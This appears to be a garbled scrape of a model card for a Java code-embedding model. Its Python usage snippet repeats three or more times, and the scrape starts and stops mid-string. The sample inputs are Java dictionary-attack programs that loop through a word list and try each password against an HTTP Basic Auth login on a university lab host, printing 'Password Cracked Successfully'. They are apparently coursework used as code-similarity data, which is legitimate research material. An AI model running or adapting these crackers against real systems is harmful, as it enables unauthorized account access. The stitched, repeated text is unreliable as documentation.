\'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', 